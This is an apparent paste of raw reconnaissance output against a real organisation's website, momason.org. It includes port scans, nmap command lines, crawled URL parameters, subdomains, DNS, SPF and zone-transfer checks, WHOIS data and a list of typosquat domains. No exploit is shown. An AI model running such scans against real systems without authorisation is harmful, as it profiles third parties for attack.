  837. - www.opmanager.com
  838. - www.residencestyle.com
  839. - www.santaclarasystems.com
  840. - www.sleiman.com
  841. - xhamsterarabic.com
  842. --------------------------------------------------
  843. [!] Scanning Open Port
  844. [#] 22/tcp open ssh
  845. [#] 80/tcp open http
  846. [#] 443/tcp open https
  847. --------------------------------------------------
  848. [+] Getting SSL Info
  849. [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1108)
  850. --------------------------------------------------
  851. [+] Collecting Information Disclosure!
  852. [#] Detecting sitemap.xml file
  853. [-] sitemap.xml file not Found!?
  854. [#] Detecting robots.txt file
  855. [!] robots.txt File Found: http://momason.org//robots.txt
  856. [#] Detecting GNU Mailman
  857. [-] GNU Mailman App Not Detected!?
  858. --------------------------------------------------
  859. [+] Crawling Url Parameter On: http://momason.org/
  860. --------------------------------------------------
  861. [#] Searching Html Form !
  862. [+] Html Form Discovered
  863. [#] action: http://momason.org
  864. [#] class: ['responsive-menu-pro-search-form']
  865. [#] id: None
  866. [#] method: None
  867. --------------------------------------------------
  868. [!] Found 2 dom parameter
  869. [#] http://momason.org/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fmomason.org%2F&#038;format=xml
  870. [#] http://momason.org//#content
  871. --------------------------------------------------
  872. [!] 3 Internal Dynamic Parameter Discovered
  873. [+] http://momason.org/xmlrpc.php?rsd
  874. [+] http://momason.org/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fmomason.org%2F
  875. [+] http://momason.org/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fmomason.org%2F&#038;format=xml
  876. --------------------------------------------------
  877. [!] 2 External Dynamic Parameter Discovered
  878. [#] http://momason.pastperfect-online.com/40018cgi/mweb.exe?request=ks
  879. [#] http://momason.pastperfect-online.com/40018cgi/mweb.exe?request=ks
  880. --------------------------------------------------
  881. [!] 76 Internal links Discovered
  882. [+] http://momason.org/xmlrpc.php
  883. [+] http://momason.org////netdna.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css
  884. [+] http://momason.org/wp-content/themes/molodge/images/PBadmin-logo.png
  885. [+] http://momason.org/feed/
  886. [+] http://momason.org/comments/feed/
  887. [+] http://momason.org/home/feed/
  888. [+] http://momason.org/wp-includes/wlwmanifest.xml
  889. [+] http://momason.org/
  890. [+] http://momason.org/wp-content/uploads/2015/10/cropped-favicon-32x32.png
  891. [+] http://momason.org/wp-content/uploads/2015/10/cropped-favicon-192x192.png
  892. [+] http://momason.org/wp-content/uploads/2015/10/cropped-favicon-180x180.png
  893. [+] http://momason.org
  894. [+] https://my.momason.org/public_lodges/inquiry
  895. [+] https://my.momason.org
  896. [+] https://my.momason.org/users/sign_in
  897. [+] http://momason.org/masonic-minutes/
  898. [+] http://momason.org/masonic-minutes/
  899. [+] http://momason.org//tel:573-474-8561
  900. [+] http://momason.org//tel:877-226-2766
  901. [+] http://momason.org//mailto:[email protected]
  902. [+] http://momason.org
  903. [+] https://my.momason.org/public_lodges/inquiry
  904. [+] https://my.momason.org
  905. [+] https://my.momason.org/users/sign_in
  906. [+] http://momason.org/
  907. [+] http://momason.org/aboutmasonry/
  908. [+] http://momason.org/aboutmasonry/
  909. [+] http://momason.org/missouri-residency-requirement/
  910. [+] http://momason.org/officers/
  911. [+] http://momason.org/officers/
  912. [+] http://momason.org/wp-content/uploads/2020/02/Living-Past-Grand-Masters.pdf
  913. [+] http://momason.org/district-map/
  914. [+] http://momason.org/resources/
  915. [+] http://momason.org/resources/
  916. [+] http://momason.org/resources/forms/
  917. [+] http://momason.org/resources/
  918. [+] http://momason.org/masonic-minutes/
  919. [+] http://momason.org/wp-content/uploads/2019/01/2018-Constitution-and-By-Laws.pdf
  920. [+] http://momason.org/resources/missouri-freemason-magazine/
  921. [+] http://momason.org/category/featured-article/
  922. [+] http://momason.org/calendar/
  923. [+] http://momason.org/news/
  924. [+] http://momason.org/programs/
  925. [+] http://momason.org/programs/
  926. [+] http://momason.org/scholarships/
  927. [+] http://momason.org/resources/links/
  928. [+] http://momason.org/contact/
  929. [+] http://momason.org///aboutmasonry
  930. [+] http://momason.org///aboutmasonry
  931. [+] http://momason.org/wp-content/uploads/2017/09/Stan-Brown-Sm.jpg
  932. [+] http://momason.org/calendar
  933. [+] http://momason.org
  934. [+] http://momason.org//tel:573-474-8561
  935. [+] http://momason.org/
  936. [+] http://momason.org/aboutmasonry/
  937. [+] http://momason.org/aboutmasonry/
  938. [+] http://momason.org/missouri-residency-requirement/
  939. [+] http://momason.org/officers/
  940. [+] http://momason.org/officers/
  941. [+] http://momason.org/wp-content/uploads/2020/02/Living-Past-Grand-Masters.pdf
  942. [+] http://momason.org/district-map/
  943. [+] http://momason.org/resources/
  944. [+] http://momason.org/resources/
  945. [+] http://momason.org/resources/forms/
  946. [+] http://momason.org/resources/
  947. [+] http://momason.org/masonic-minutes/
  948. [+] http://momason.org/wp-content/uploads/2019/01/2018-Constitution-and-By-Laws.pdf
  949. [+] http://momason.org/resources/missouri-freemason-magazine/
  950. [+] http://momason.org/category/featured-article/
  951. [+] http://momason.org/calendar/
  952. [+] http://momason.org/news/
  953. [+] http://momason.org/programs/
  954. [+] http://momason.org/programs/
  955. [+] http://momason.org/scholarships/
  956. [+] http://momason.org/resources/links/
  957. [+] http://momason.org/contact/
  958. --------------------------------------------------
  959. [!] 11 External links Discovered
  960. [#] http://gmpg.org/xfn/11
  961. [#] http://www.facebook.com/Missouri-Freemasons-109616581836/timeline/
  962. [#] http://issuu.com/momason/stacks/c66d65ab9ea042fd9c6c51082b9f11d7
  963. [#] http://mochip.org
  964. [#] http://mohome.org
  965. [#] http://molor.org
  966. [#] http://grandviewinitiative.com/
  967. [#] http://issuu.com/momason/stacks/c66d65ab9ea042fd9c6c51082b9f11d7
  968. [#] http://mochip.org
  969. [#] http://mohome.org
  970. [#] http://molor.org
  971. --------------------------------------------------
  972. [#] Mapping Subdomain..
  973. [!] Found 3 Subdomain
  974. - dev.momason.org
  975. - www.momason.org
  976. - my.momason.org
  977. --------------------------------------------------
  978. [!] Done At 2020-04-24 17:33:12.725129
  979. ######################################################################################################################################
  980. traceroute to momason.org (45.40.155.175), 30 hops max, 60 byte packets
  981. 1 _gateway (10.203.2.1) 113.938 ms 113.931 ms 113.920 ms
  982. 2 unn-89-187-165-62.cdn77.com (89.187.165.62) 113.910 ms 113.876 ms 117.841 ms
  983. 3 hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129) 118.599 ms 118.607 ms 118.582 ms
  984. 4 be3592.ccr52.zrh02.atlas.cogentco.com (154.54.37.150) 118.558 ms 118.536 ms 118.525 ms
  985. 5 be3073.ccr22.muc03.atlas.cogentco.com (130.117.0.62) 124.309 ms 124.310 ms 124.300 ms
  986. 6 be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53) 129.419 ms 124.976 ms be2960.ccr42.fra03.atlas.cogentco.com (154.54.36.253) 124.829 ms
  987. 7 be3187.agr41.fra03.atlas.cogentco.com (130.117.1.117) 124.876 ms 124.812 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2) 124.787 ms
  988. 8 telia.fra03.atlas.cogentco.com (130.117.14.198) 122.894 ms 122.239 ms 122.243 ms
  989. 9 ffm-bb2-link.telia.net (62.115.114.90) 265.571 ms 265.720 ms ffm-bb1-link.telia.net (62.115.114.88) 271.068 ms
  990. 10 prs-bb3-link.telia.net (62.115.123.13) 268.377 ms * *
  991. 11 ash-bb2-link.telia.net (62.115.112.242) 216.139 ms 214.240 ms rest-bb1-link.telia.net (62.115.122.159) 207.836 ms
  992. 12 las-b24-link.telia.net (62.115.114.86) 266.868 ms 266.867 ms las-b24-link.telia.net (62.115.121.220) 264.040 ms
  993. 13 ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243) 259.839 ms 259.587 ms 264.498 ms
  994. 14 ip-148-72-32-16.ip.secureserver.net (148.72.32.16) 267.209 ms 267.563 ms 270.441 ms
  995. 15 be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69) 270.371 ms 267.092 ms 271.287 ms
  996. 16 * * *
  997. ######################################################################################################################################
  998.  
  999. Domains still to check: 1
  1000. Checking if the hostname momason.org. given is in fact a domain...
  1001.  
  1002. Analyzing domain: momason.org.
  1003. Checking NameServers using system default resolver...
  1004. IP: 207.204.40.147 (United States)
  1005. HostName: ns93.worldnic.com Type: NS
  1006. IP: 207.204.21.147 (United States)
  1007. HostName: ns94.worldnic.com Type: NS
  1008.  
  1009. Checking MailServers using system default resolver...
  1010. IP: 104.47.70.110 (United States)
  1011. HostName: momason-org.mail.protection.outlook.com Type: MX
  1012. HostName: mail-bn7nam100110.inbound.protection.outlook.com Type: PTR
  1013. IP: 104.47.55.110 (United States)
  1014. HostName: momason-org.mail.protection.outlook.com Type: MX
  1015. HostName: mail-mw2nam100110.inbound.protection.outlook.com Type: PTR
  1016. WARNING!! This domain has wildcards activated for hostnames resolution. We are checking "www" anyway, but perhaps it doesn't exists!
  1017.  
  1018. Checking the zone transfer for each NS... (if this takes more than 10 seconds, just hit CTRL-C and it will continue. Bug in the libs)
  1019. No zone transfer found on nameserver 207.204.21.147
  1020. No zone transfer found on nameserver 207.204.40.147
  1021.  
  1022. Checking SPF record...
  1023.  
  1024. Checking SPF record...
  1025. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 40.92.0.0/15, but only the network IP
  1026. New IP found: 40.92.0.0
  1027. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 40.107.0.0/16, but only the network IP
  1028. New IP found: 40.107.0.0
  1029. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 52.100.0.0/14, but only the network IP
  1030. New IP found: 52.100.0.0
  1031. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 104.47.0.0/17, but only the network IP
  1032. New IP found: 104.47.0.0
  1033. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1034. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1035.  
  1036. Checking SPF record...
  1037. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 51.4.72.0/24, but only the network IP
  1038. New IP found: 51.4.72.0
  1039. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 51.5.72.0/24, but only the network IP
  1040. New IP found: 51.5.72.0
  1041. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 51.5.80.0/27, but only the network IP
  1042. New IP found: 51.5.80.0
  1043. WARNING! SPF record allows an entire network to send mails. Probably an ISP network. We are not going to check the entire network by now: 51.4.80.0/27, but only the network IP
  1044. New IP found: 51.4.80.0
  1045. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1046. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1047. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1048. There are no IPv4 addresses in the SPF. Maybe IPv6.
  1049.  
  1050. Checking 1 most common hostnames using system default resolver...
  1051. IP: 45.40.155.175 (United States)
  1052. HostName: www.momason.org. Type: A
  1053.  
  1054. Checking with nmap the reverse DNS hostnames of every <ip>/24 netblock using system default resolver...
  1055. Checking netblock 52.100.0.0
  1056. Checking netblock 207.204.40.0
  1057. Checking netblock 104.47.70.0
  1058. Checking netblock 51.5.80.0
  1059. Checking netblock 207.204.21.0
  1060. Checking netblock 104.47.0.0
  1061. Checking netblock 51.4.72.0
  1062. Checking netblock 51.4.80.0
  1063. Checking netblock 51.5.72.0
  1064. Checking netblock 40.107.0.0
  1065. Checking netblock 104.47.55.0
  1066. Checking netblock 45.40.155.0
  1067. Checking netblock 40.92.0.0
  1068.  
  1069. Searching for momason.org. emails in Google
  1070. > Can't connect to Google Web!
  1071.  
  1072. Checking 13 active hosts using nmap... (nmap -sn -n -v -PP -PM -PS80,25 -PA -PY -PU53,40125 -PE --reason <ip> -oA <output_directory>/nmap/<ip>.sn)
  1073. Host 52.100.0.0 is down
  1074. Host 207.204.40.147 is up (echo-reply ttl 56)
  1075. Host 104.47.70.110 is up (syn-ack ttl 112)
  1076. Host 51.5.80.0 is down
  1077. Host 207.204.21.147 is up (reset ttl 245)
  1078. Host 104.47.0.0 is down
  1079. Host 51.4.72.0 is down
  1080. Host 51.4.80.0 is down
  1081. Host 51.5.72.0 is down
  1082. Host 40.107.0.0 is down
  1083. Host 104.47.55.110 is up (syn-ack ttl 108)
  1084. Host 45.40.155.175 is up (syn-ack ttl 55)
  1085. Host 40.92.0.0 is down
  1086.  
  1087. Checking ports on every active host using nmap... (nmap -O --reason --webxml --traceroute -sS -sV -sC -Pn -n -v -F <ip> -oA <output_directory>/nmap/<ip>)
  1088. Scanning ip 207.204.40.147 (ns93.worldnic.com):
  1089. 53/tcp open domain? syn-ack ttl 120
  1090. | fingerprint-strings:
  1091. | DNSVersionBindReqTCP:
  1092. | version
  1093. |_ bind
  1094. Scanning ip 104.47.70.110 (mail-bn7nam100110.inbound.protection.outlook.com (PTR)):
  1095. 25/tcp open smtp syn-ack ttl 112 Microsoft Exchange smtpd
  1096. | smtp-commands: BN7NAM10FT021.mail.protection.outlook.com Hello [89.187.165.61], SIZE 157286400, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8,
  1097. |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
  1098. | ssl-cert: Subject: commonName=mail.protection.outlook.com/organizationName=Microsoft Corporation/stateOrProvinceName=Washington/countryName=US
  1099. | Subject Alternative Name: DNS:mail.protection.outlook.com, DNS:*.mail.eo.outlook.com, DNS:*.mail.protection.outlook.com, DNS:mail.messaging.microsoft.com, DNS:outlook.com, DNS:*.olc.protection.outlook.com, DNS:*.pamx1.hotmail.com
  1100. | Issuer: commonName=GlobalSign Organization Validation CA - SHA256 - G3/organizationName=GlobalSign nv-sa/countryName=BE
  1101. | Public Key type: rsa
  1102. | Public Key bits: 2048
  1103. | Signature Algorithm: sha256WithRSAEncryption
  1104. | Not valid before: 2020-02-24T18:33:10
  1105. | Not valid after: 2022-02-24T18:33:10
  1106. | MD5: 4f90 9eee 29eb abe5 e29a d55e 8c08 c310
  1107. |_SHA-1: ea85 9504 40a6 97c1 8482 3304 a7dc 19e5 fcd5 8e6b
  1108. |_ssl-date: 2020-04-24T21:49:41+00:00; -2s from scanner time.
  1109. OS Info: Service Info: Host: BN7NAM10FT059.mail.protection.outlook.com; OS: Windows; CPE: cpe:/o:microsoft:windows
  1110. |_clock-skew: -2s
  1111. Scanning ip 207.204.21.147 (ns94.worldnic.com):
  1112. 53/tcp open domain? syn-ack ttl 55
  1113. | fingerprint-strings:
  1114. | DNSVersionBindReqTCP:
  1115. | version
  1116. |_ bind
  1117. Scanning ip 104.47.55.110 (mail-mw2nam100110.inbound.protection.outlook.com (PTR)):
  1118. 25/tcp open smtp syn-ack ttl 108 Microsoft Exchange smtpd
  1119. | smtp-commands: MW2NAM10FT062.mail.protection.outlook.com Hello [89.187.165.61], SIZE 157286400, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8,
  1120. |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
  1121. | ssl-cert: Subject: commonName=mail.protection.outlook.com/organizationName=Microsoft Corporation/stateOrProvinceName=Washington/countryName=US
  1122. | Subject Alternative Name: DNS:mail.protection.outlook.com, DNS:*.mail.eo.outlook.com, DNS:*.mail.protection.outlook.com, DNS:mail.messaging.microsoft.com, DNS:outlook.com, DNS:*.olc.protection.outlook.com, DNS:*.pamx1.hotmail.com
  1123. | Issuer: commonName=GlobalSign Organization Validation CA - SHA256 - G3/organizationName=GlobalSign nv-sa/countryName=BE
  1124. | Public Key type: rsa
  1125. | Public Key bits: 2048
  1126. | Signature Algorithm: sha256WithRSAEncryption
  1127. | Not valid before: 2020-02-24T18:33:10
  1128. | Not valid after: 2022-02-24T18:33:10
  1129. | MD5: 4f90 9eee 29eb abe5 e29a d55e 8c08 c310
  1130. |_SHA-1: ea85 9504 40a6 97c1 8482 3304 a7dc 19e5 fcd5 8e6b
  1131. |_ssl-date: 2020-04-24T21:51:01+00:00; -2s from scanner time.
  1132. OS Info: Service Info: Host: MW2NAM10FT007.mail.protection.outlook.com; OS: Windows; CPE: cpe:/o:microsoft:windows
  1133. |_clock-skew: -2s
  1134. Scanning ip 45.40.155.175 (www.momason.org.):
  1135. 22/tcp open ssh syn-ack ttl 55 OpenSSH 7.5 (protocol 2.0)
  1136. | ssh-hostkey:
  1137. | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  1138. | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  1139. |_ 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  1140. 80/tcp open http-proxy syn-ack ttl 55 HAProxy http proxy 1.3.1 or later
  1141. |_http-title: 404 Not Found
  1142. 443/tcp open ssl/https syn-ack ttl 55 openresty
  1143. |_http-server-header: openresty
  1144. |_http-title: 400 The plain HTTP request was sent to HTTPS port
  1145. OS Info: Service Info: Device: load balancer
  1146. WebCrawling domain's web servers... up to 50 max links.
  1147.  
  1148. + URL to crawl: http://www.momason.org.
  1149. + Date: 2020-04-24
  1150.  
  1151. + Crawling URL: http://www.momason.org.:
  1152. + Links:
  1153. + Crawling http://www.momason.org. (404 Not Found)
  1154. + Searching for directories...
  1155. + Searching open folders...
  1156.  
  1157.  
  1158. + URL to crawl: http://www.momason.org.:443
  1159. + Date: 2020-04-24
  1160.  
  1161. + Crawling URL: http://www.momason.org.:443:
  1162. + Links:
  1163. + Crawling http://www.momason.org.:443 (400 Bad Request)
  1164. + Searching for directories...
  1165. + Searching open folders...
  1166.  
  1167. --Finished--
  1168. Summary information for domain momason.org.
  1169. -----------------------------------------
  1170.  
  1171. Domain Ips Information:
  1172. IP: 52.100.0.0
  1173. Type: SPF
  1174. Is Active: False
  1175. IP: 207.204.40.147
  1176. HostName: ns93.worldnic.com Type: NS
  1177. Country: United States
  1178. Is Active: True (echo-reply ttl 56)
  1179. Port: 53/tcp open domain? syn-ack ttl 120
  1180. Script Info: | fingerprint-strings:
  1181. Script Info: | DNSVersionBindReqTCP:
  1182. Script Info: | version
  1183. Script Info: |_ bind
  1184. IP: 104.47.70.110
  1185. HostName: momason-org.mail.protection.outlook.com Type: MX
  1186. HostName: mail-bn7nam100110.inbound.protection.outlook.com Type: PTR
  1187. Country: United States
  1188. Is Active: True (syn-ack ttl 112)
  1189. Port: 25/tcp open smtp syn-ack ttl 112 Microsoft Exchange smtpd
  1190. Script Info: | smtp-commands: BN7NAM10FT021.mail.protection.outlook.com Hello [89.187.165.61], SIZE 157286400, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8,
  1191. Script Info: |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
  1192. Script Info: | ssl-cert: Subject: commonName=mail.protection.outlook.com/organizationName=Microsoft Corporation/stateOrProvinceName=Washington/countryName=US
  1193. Script Info: | Subject Alternative Name: DNS:mail.protection.outlook.com, DNS:*.mail.eo.outlook.com, DNS:*.mail.protection.outlook.com, DNS:mail.messaging.microsoft.com, DNS:outlook.com, DNS:*.olc.protection.outlook.com, DNS:*.pamx1.hotmail.com
  1194. Script Info: | Issuer: commonName=GlobalSign Organization Validation CA - SHA256 - G3/organizationName=GlobalSign nv-sa/countryName=BE
  1195. Script Info: | Public Key type: rsa
  1196. Script Info: | Public Key bits: 2048
  1197. Script Info: | Signature Algorithm: sha256WithRSAEncryption
  1198. Script Info: | Not valid before: 2020-02-24T18:33:10
  1199. Script Info: | Not valid after: 2022-02-24T18:33:10
  1200. Script Info: | MD5: 4f90 9eee 29eb abe5 e29a d55e 8c08 c310
  1201. Script Info: |_SHA-1: ea85 9504 40a6 97c1 8482 3304 a7dc 19e5 fcd5 8e6b
  1202. Script Info: |_ssl-date: 2020-04-24T21:49:41+00:00; -2s from scanner time.
  1203. Os Info: Host: BN7NAM10FT059.mail.protection.outlook.com; OS: Windows; CPE: cpe:/o:microsoft:windows
  1204. Script Info: |_clock-skew: -2s
  1205. IP: 51.5.80.0
  1206. Type: SPF
  1207. Is Active: False
  1208. IP: 207.204.21.147
  1209. HostName: ns94.worldnic.com Type: NS
  1210. Country: United States
  1211. Is Active: True (reset ttl 245)
  1212. Port: 53/tcp open domain? syn-ack ttl 55
  1213. Script Info: | fingerprint-strings:
  1214. Script Info: | DNSVersionBindReqTCP:
  1215. Script Info: | version
  1216. Script Info: |_ bind
  1217. IP: 104.47.0.0
  1218. Type: SPF
  1219. Is Active: False
  1220. IP: 51.4.72.0
  1221. Type: SPF
  1222. Is Active: False
  1223. IP: 51.4.80.0
  1224. Type: SPF
  1225. Is Active: False
  1226. IP: 51.5.72.0
  1227. Type: SPF
  1228. Is Active: False
  1229. IP: 40.107.0.0
  1230. Type: SPF
  1231. Is Active: False
  1232. IP: 104.47.55.110
  1233. HostName: momason-org.mail.protection.outlook.com Type: MX
  1234. HostName: mail-mw2nam100110.inbound.protection.outlook.com Type: PTR
  1235. Country: United States
  1236. Is Active: True (syn-ack ttl 108)
  1237. Port: 25/tcp open smtp syn-ack ttl 108 Microsoft Exchange smtpd
  1238. Script Info: | smtp-commands: MW2NAM10FT062.mail.protection.outlook.com Hello [89.187.165.61], SIZE 157286400, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8,
  1239. Script Info: |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
  1240. Script Info: | ssl-cert: Subject: commonName=mail.protection.outlook.com/organizationName=Microsoft Corporation/stateOrProvinceName=Washington/countryName=US
  1241. Script Info: | Subject Alternative Name: DNS:mail.protection.outlook.com, DNS:*.mail.eo.outlook.com, DNS:*.mail.protection.outlook.com, DNS:mail.messaging.microsoft.com, DNS:outlook.com, DNS:*.olc.protection.outlook.com, DNS:*.pamx1.hotmail.com
  1242. Script Info: | Issuer: commonName=GlobalSign Organization Validation CA - SHA256 - G3/organizationName=GlobalSign nv-sa/countryName=BE
  1243. Script Info: | Public Key type: rsa
  1244. Script Info: | Public Key bits: 2048
  1245. Script Info: | Signature Algorithm: sha256WithRSAEncryption
  1246. Script Info: | Not valid before: 2020-02-24T18:33:10
  1247. Script Info: | Not valid after: 2022-02-24T18:33:10
  1248. Script Info: | MD5: 4f90 9eee 29eb abe5 e29a d55e 8c08 c310
  1249. Script Info: |_SHA-1: ea85 9504 40a6 97c1 8482 3304 a7dc 19e5 fcd5 8e6b
  1250. Script Info: |_ssl-date: 2020-04-24T21:51:01+00:00; -2s from scanner time.
  1251. Os Info: Host: MW2NAM10FT007.mail.protection.outlook.com; OS: Windows; CPE: cpe:/o:microsoft:windows
  1252. Script Info: |_clock-skew: -2s
  1253. IP: 45.40.155.175
  1254. HostName: www.momason.org. Type: A
  1255. Country: United States
  1256. Is Active: True (syn-ack ttl 55)
  1257. Port: 22/tcp open ssh syn-ack ttl 55 OpenSSH 7.5 (protocol 2.0)
  1258. Script Info: | ssh-hostkey:
  1259. Script Info: | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  1260. Script Info: | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  1261. Script Info: |_ 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  1262. Port: 80/tcp open http-proxy syn-ack ttl 55 HAProxy http proxy 1.3.1 or later
  1263. Script Info: |_http-title: 404 Not Found
  1264. Port: 443/tcp open ssl/https syn-ack ttl 55 openresty
  1265. Script Info: |_http-server-header: openresty
  1266. Script Info: |_http-title: 400 The plain HTTP request was sent to HTTPS port
  1267. Os Info: Device: load balancer
  1268. IP: 40.92.0.0
  1269. Type: SPF
  1270. Is Active: False
  1271.  
  1272. --------------End Summary --------------
  1273. -----------------------------------------
  1274. #####################################################################################################################################
  1275. Domain Name: MOMASON.ORG
  1276. Registry Domain ID: D2325721-LROR
  1277. Registrar WHOIS Server: whois.networksolutions.com
  1278. Registrar URL: http://www.networksolutions.com
  1279. Updated Date: 2018-01-13T17:53:11Z
  1280. Creation Date: 1998-11-02T05:00:00Z
  1281. Registry Expiry Date: 2022-11-01T05:00:00Z
  1282. Registrar Registration Expiration Date:
  1283. Registrar: Network Solutions, LLC
  1284. Registrar IANA ID: 2
  1285. Registrar Abuse Contact Email: [email protected]
  1286. Registrar Abuse Contact Phone: +1.8003337680
  1287. Reseller:
  1288. Domain Status: ok https://icann.org/epp#ok
  1289. Registrant Organization: Grand Lodge of Missouri, A.F. & A.M.
  1290. Registrant State/Province: MO
  1291. Registrant Country: US
  1292. Name Server: NS93.WORLDNIC.COM
  1293. Name Server: NS94.WORLDNIC.COM
  1294. DNSSEC: unsigned
  1295. URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)
  1296. >>> Last update of WHOIS database: 2020-04-24T21:36:31Z <<<
  1297. #####################################################################################################################################
  1298. Source:
  1299. whois.arin.net
  1300. IP Address:
  1301. 45.40.155.175
  1302. Name:
  1303. GO-DADDY-COM-LLC
  1304. Handle:
  1305. NET-45-40-128-0-1
  1306. Registration Date:
  1307. 2/13/15
  1308. Range:
  1309. 45.40.128.0-45.40.191.255
  1310. Org:
  1311. GoDaddy.com, LLC
  1312. Org Handle:
  1313. GODAD
  1314. Address:
  1315. 14455 N Hayden Road
  1316. City:
  1317. Scottsdale
  1318. State/Province:
  1319. AZ
  1320. Postal Code:
  1321. 85260
  1322. Country:
  1323. United States
  1324. Name Servers:
  1325. #####################################################################################################################################
  1326. Domain : momason.org
  1327. Keyboard : qwerty
  1328. At : 2020-04-24 17:47:37 -0400
  1329.  
  1330. # Please wait. 100 hostnames to process
  1331.  
  1332. Typo Type Typo DNS-A CC-A DNS-MX Extn
  1333. --------------------------------------------------------------------------------------------------
  1334. Character Omission mmason.org 63.147.95.187 US,UNITED STATES mail.mmason.org org
  1335. Character Omission moason.org ? org
  1336. Character Omission momaon.org ? org
  1337. Character Omission momasn.org ? org
  1338. Character Omission momaso.org ? org
  1339. Character Omission momson.org ? org
  1340. Character Repeat mmomason.org ? org
  1341. Character Repeat momaason.org ? org
  1342. Character Repeat momasonn.org ? org
  1343. Character Repeat momasoon.org ? org
  1344. Character Repeat momasson.org ? org
  1345. Character Repeat mommason.org ? org
  1346. Character Repeat moomason.org ? org
  1347. Character Swap mmoason.org ? org
  1348. Character Swap moamson.org ? org
  1349. Character Swap momaosn.org ? org
  1350. Character Swap momasno.org ? org
  1351. Character Swap momsaon.org ? org
  1352. Character Swap ommason.org ? org
  1353. Character Replacement mimason.org ? org
  1354. Character Replacement momaaon.org ? org
  1355. Character Replacement momadon.org ? org
  1356. Character Replacement momasin.org ? org
  1357. Character Replacement momasob.org ? org
  1358. Character Replacement momasom.org ? org
  1359. Character Replacement momaspn.org ? org
  1360. Character Replacement momsson.org ? org
  1361. Character Replacement monason.org ? org
  1362. Character Replacement mpmason.org ? org
  1363. Character Replacement nomason.org 154.201.187.147 org
  1364. Character Insertion mnomason.org ? org
  1365. Character Insertion moimason.org ? org
  1366. Character Insertion momasaon.org ? org
  1367. Character Insertion momasdon.org ? org
  1368. Character Insertion momasoin.org ? org
  1369. Character Insertion momasonb.org ? org
  1370. Character Insertion momasonm.org ? org
  1371. Character Insertion momasopn.org ? org
  1372. Character Insertion momnason.org ? org
  1373. Character Insertion mopmason.org ? org
  1374. Missing Dot momasonorg.com ? com
  1375. Missing Dot wwwmomason.org ? org
  1376. Singular or Pluralise momasons.org ? org
  1377. Vowel Swap momeson.org ? org
  1378. Vowel Swap momison.org ? org
  1379. Vowel Swap momoson.org ? org
  1380. Vowel Swap momuson.org ? org
  1381. Homophones momasewn.org ? org
  1382. Homophones momasown.org ? org
  1383. Homophones momasun.org ? org
  1384. Bit Flipping -omason.org ? org
  1385. Bit Flipping eomason.org ? org
  1386. Bit Flipping iomason.org ? org
  1387. Bit Flipping lomason.org ? org
  1388. Bit Flipping mgmason.org ? org
  1389. Bit Flipping mkmason.org ? org
  1390. Bit Flipping mmmason.org ? org
  1391. Bit Flipping mnmason.org 192.163.200.127 mail.mnmason.org org
  1392. Bit Flipping mo-ason.org ? org
  1393. Bit Flipping moeason.org ? org
  1394. Bit Flipping moiason.org ? org
  1395. Bit Flipping molason.org ? org
  1396. Bit Flipping moma3on.org ? org
  1397. Bit Flipping momacon.org ? org
  1398. Bit Flipping momaqon.org ? org
  1399. Bit Flipping momaron.org ? org
  1400. Bit Flipping momasgn.org ? org
  1401. Bit Flipping momaskn.org ? org
  1402. Bit Flipping momasmn.org ? org
  1403. Bit Flipping momasnn.org ? org
  1404. Bit Flipping momasof.org ? org
  1405. Bit Flipping momasoj.org ? org
  1406. Bit Flipping momasol.org ? org
  1407. Bit Flipping momasoo.org ? org
  1408. Bit Flipping momawon.org ? org
  1409. Bit Flipping momcson.org ? org
  1410. Bit Flipping momqson.org ? org
  1411. Bit Flipping mooason.org ? org
  1412. Bit Flipping oomason.org ? org
  1413. Homoglyphs m0mas0n.org ? org
  1414. Homoglyphs m0mason.org ? org
  1415. Homoglyphs momas0n.org ? org
